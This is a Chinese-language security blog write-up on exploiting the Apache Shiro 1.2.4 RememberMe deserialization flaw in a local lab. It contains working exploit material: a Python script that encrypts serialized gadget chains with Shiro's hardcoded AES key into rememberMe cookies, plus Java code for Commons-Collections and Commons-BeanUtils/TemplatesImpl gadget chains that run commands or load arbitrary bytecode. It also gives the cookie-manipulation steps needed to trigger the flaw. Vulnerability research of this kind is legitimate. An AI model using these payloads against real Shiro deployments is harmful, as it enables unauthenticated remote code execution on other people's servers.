Shiro反序列化漏洞

环境搭建

下载源码

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

修改shiro/samples/web目录下的pom.xmljstl版本为1.2后更新maven

CleanShot2023-11-16at14.55.32@2x

部署tomcat

(这里我权限不足 给上级目录更改了下权限)

1
sudo chmod -R 777 tomcat

CleanShot2023-11-16at15.22.15@2x

漏洞分析

到登录页面登录并勾选Remember Meburp抓个包看看

![CleanShot2023-11-16at15.27.41@2x](https://byesec-blog-img.oss-cn-beijing.aliyuncs.com/2024/03/06/CleanShot 2023-11-16 at 15.27.41@2x.png)

请求后会返回Cookie

CleanShot2023-11-16at16.10.42@2x

并在后续请求中也会带上这个Cookie

CleanShot2023-11-16at16.12.05@2x

静态分析源码

IDEA中Shift+Shift搜索Shiro包中的和cookie相关的类CookieRememberMeManager.java

发现两个函数

CleanShot2023-11-16at16.18.48@2x

CleanShot2023-11-16at16.19.44@2x

找一下哪里调用了getRememberedSerializedIdentity

将字节转化为认证信息

image-20231116163211884

解密+反序列化

CleanShot2023-11-16at16.33.22@2x

跟一下反序列化函数deserialize

CleanShot2023-11-16at16.35.13@2x

CleanShot2023-11-16at16.35.47@2x

image-20231116163712527

发现调取了原生的反序列化

CleanShot2023-11-16at16.37.40@2x

再回到AbstractRememberMeManager.java跟进一下解密函数decrypt

CleanShot2023-11-16at16.40.36@2x

CleanShot2023-11-16at16.41.11@2x

用Key解密的 应该为对称加密

CleanShot2023-11-16at16.42.53@2x

回到解密函数

CleanShot2023-11-16at16.46.41@2x

CleanShot2023-11-16at16.47.55@2x

decryptionCipherKey是在哪赋值的

CleanShot2023-11-16at16.50.11@2x

CleanShot2023-11-16at16.52.27@2x

CleanShot2023-11-16at16.53.38@2x

发现常量DEFAULT_CIPHER_KEY_BYTES跟进后发现为固定的值 且算法为AES

CleanShot2023-11-16at16.56.04@2x

也就是说:在Shiro1.2.4版本,于RememberMe功能相关的加密使用固定的key加密,且加密算法为AES算法

漏洞利用

JDK内置链打法

为什么不用CC链

Shiro自带的依赖里好像有CC

CleanShot2023-11-17at10.16.30@2x

但用插件看下发现有很多依赖库都是[Test] 实际只能用[compile]和[runtime]

CleanShot2023-11-17at10.19.49@2x

所以直接用CC打是打不了的,这里可以用commons-beanutils来打(先不打)

CleanShot2023-11-17at10.22.45@2x

构造payload

先用Shiro原生的打,使用URLDNS序列化生成ser.bin

CleanShot2023-11-17at10.58.14@2x

拷贝进脚本同目录

CleanShot2023-11-17at12.21.57@2x

加密脚本exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintxt = encryptor.decrypt(enc_data[16:])
#plaintxt = bytes.decode(plaintxt)
plaintxt = unpad(plaintxt)
return plaintxt

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

生成替换密钥

生成密钥

1
2
(shiro_AES_exp) ➜  exp python exp.py
b'TFJpdNMoTaqdUJqGEufEbIpwn5h5mH44sIfGlec5dZveEvXDbFmQed0eXqHQeSpvnOfrFhcYj5+pkkfGWQPEPx00ZjZ4kjgMl4W0vgIJFdkwDbeXRHllxCu2SGqDV1SJInXANAtRevP1IxJt2pACT42W/gqSNi6BRduOCblG47xn0YeT/KOSgULNjVZ1PoaWfHVbndkKonQhfRbhZgYJIIZ7IprRscHGfJC20g2VMnB+OYeCHPp2GQWt4cJWc3Lh26HHWna8yWhPV2RdM8C/y6ZIHKbSVqlZynX3jQ3+ncgm6spKutyOJiRhtU3EJivebfecc0U/TQh7ajbKLWccNfEiEYdIjnjqr2y3afOXzFBlhJayLIOOWLXBFUnGFY5qMlrY9R0bAfZzB9TYaM8tWy+YOyG+bIgMLIcbb3hTxvabvEnRAknFx5P8B880f8nujoJdelu2+eSY1MNcNjntz+O/FMWcbtXr81ioPQn7HlbsQMfRDKGoLFyLW6zd6eZd'
1
TFJpdNMoTaqdUJqGEufEbIpwn5h5mH44sIfGlec5dZveEvXDbFmQed0eXqHQeSpvnOfrFhcYj5+pkkfGWQPEPx00ZjZ4kjgMl4W0vgIJFdkwDbeXRHllxCu2SGqDV1SJInXANAtRevP1IxJt2pACT42W/gqSNi6BRduOCblG47xn0YeT/KOSgULNjVZ1PoaWfHVbndkKonQhfRbhZgYJIIZ7IprRscHGfJC20g2VMnB+OYeCHPp2GQWt4cJWc3Lh26HHWna8yWhPV2RdM8C/y6ZIHKbSVqlZynX3jQ3+ncgm6spKutyOJiRhtU3EJivebfecc0U/TQh7ajbKLWccNfEiEYdIjnjqr2y3afOXzFBlhJayLIOOWLXBFUnGFY5qMlrY9R0bAfZzB9TYaM8tWy+YOyG+bIgMLIcbb3hTxvabvEnRAknFx5P8B880f8nujoJdelu2+eSY1MNcNjntz+O/FMWcbtXr81ioPQn7HlbsQMfRDKGoLFyLW6zd6eZd

Cookie内包含两个身份验证的参数 分别为JSESSIONIDrememberMe

在身份验证时的逻辑为:优先验证JSESSIONID,若存在则不会读取rememberMe

故:只替换修改请求包中的rememberMe的值,如图无法向下进行反序列化

CleanShot2023-11-17at12.32.11@2x

所以在替换rememberMe的值的同时,还需删除JSESSIONID,才能够保证反序列化正常执行

CleanShot2023-11-17at12.35.01@2x

根据回显可知成功调用反序列化

CleanShot2023-11-17at12.41.07@2x

动态分析源码

CleanShot2023-11-17at12.49.07@2x

CleanShot2023-11-17at12.50.16@2x

CleanShot2023-11-17at12.51.03@2x

CleanShot2023-11-17at12.51.42@2x

image-20231117125300358

image-20231117125403766

重新提交一次数据包 发现停在断点处

CleanShot2023-11-17at13.00.49@2x

CleanShot2023-11-17at13.02.16@2x

接下来会调取HashMap

image-20231117130548805

CleanShot2023-11-17at13.08.55@2x

CleanShot2023-11-17at13.10.15@2x

CC链的利用

因为Shiro内置不带CC依赖,这里先添加上CC3

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

CleanShot2023-11-17at15.06.51@2x

直接先用cc6生成ser.bin生成RememberMe值做请求
CleanShot2023-11-17at15.18.11@2x

CleanShot2023-11-17at15.27.14@2x

CleanShot2023-11-17at15.40.13@2x

看下ClassResolvingObjectInputStream内是如何定义的

发现重写了一个resolveClass(是一个用于在对象反序列化过程中进行类解析的方法,该方法属于 ObjectInputStream 类的内部类 ObjectStreamClass),在重写后则会调用重写的这个resolveClass方法

对比一下重写前后

CleanShot2023-11-17at16.14.20@2x

CleanShot2023-11-17at16.15.00@2x

CleanShot2023-11-17at16.18.44@2x

若想成功利用,需解决加载不到这个数组类的问题,所以要不出现数组(在此不详述:为什么加载不了?与tomcat类加载机制有关

CleanShot2023-11-17at16.21.10@2x

结合之前CC1-CC7链的学习 如何在不出现Transformer数组的前提下拼接一条可利用的链

不能走Runtime.exec(),因为无法避免要用到数组

CleanShot2023-11-17at16.26.35@2x

可以使用之前CC2的后半段(不会出现数组类) 但前半段不能使用

CleanShot2023-11-17at16.29.59@2x

可以拼接CC2+CC3+CC6(CC6可以控制输入)

动态加载类<–TemplatesImpl.newTransformer<–invokerTransformer

HashMap.readObject–>TiedMapEntry.get–>LazyMap.get–>invokerTransformer–>Templateslmpl.
newTransformer–>动态加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc6Test {
public static void main(String[] args) throws Exception {


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
//put时调用无用的transformer
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
//删除key
lazyMap.remove("aaa");


//通过反射修改lazyMap的factory属性为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);


serialize(map2);
//unserialize("ser.bin");

}
public static void serialize (Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize (String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

执行序列化生成ser.bin 并复制替换到exp.py目录下生成新的exp

CleanShot2023-11-17at16.48.12@2x

CleanShot2023-11-17at16.51.10@2x

忽略断点后提交请求 成功执行命令

CleanShot2023-11-17at16.50.23@2x

CB链的利用

删除pom.xml里的commons-collections依赖

CleanShot2023-11-20at09.59.11@2x

在ShiroExp项目pom.xml内添加与web项目版本一致的CB依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

Person.java
```java
package org.example;

public class Person {

private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() { return name; }

public void setName(String name) { this.name = name; }

public int getAge() { return age; }

public void setAge(int age) { this.age = age; }

}

BeanTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;  

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
public static void main(String[] args) throws Exception {
Person person = new Person("aaa",18);
//System.out.println(person.getName());
System.out.println(PropertyUtils.getProperty(person,"name"));
System.out.println(PropertyUtils.getProperty(person,"age"));
//PropertyUtils.getProperty(template,"outputProperties");
}
}

加断点分析










回想CC3时的TemplatesImpl类的getOutputProperties方法调用了newTransformer


且getOutputProperties的命名格式符合JavaBean的
尝试一下


修改调整一下


这里的Compare是可以利用的

回忆之前的CC2里的优先队列里用到的Compare





回到CC2

链:通过CC2的优先队列找到Compare 且优先队列的值也是可以控制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import com.sun.org.apache.xml.internal.serializer.OutputPropertyUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte [] code = Files.readAllBytes(Paths.get("/Users/patrik/Desktop/tmp/Test.class"));
byte [][] codes = {code};
bytecodesField.set(templates,codes);

//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);

Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);

serialize(priorityQueue);
//unserialize("ser.bin");
}
public static void serialize (Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize (String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}


生成密钥

补充

补充1:CB默认依赖CC依赖的问题

没打成功看日志发现CC下的ComparableComparator


BeanComparator在构造时传入了ComparableComparator

用到了CC里的依赖 而CB没有

解决:ComparableComparator的另一个构造函数 可以自己传一个CB或JDK里有的comparator即可
即需同时继承Comparator接口和Serializable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
with open('comparator.txt') as f:
data = f.readline()
coms = []
while data:
coms.append(data)
data = f.readline()

with open('serializable.txt') as d:
data = d.readline()
sers = []
while data:
sers.append(data)
data = d.readline()

print(*[i for i in coms if i in sers])



添加即可

补充2:用ysoserial打 依赖库版本不同报错

ysoserial的CB依赖版本

环境本身的CB依赖

CB依赖版本不一致导致报错
因事先指定版本与环境版本一致 所以能打成功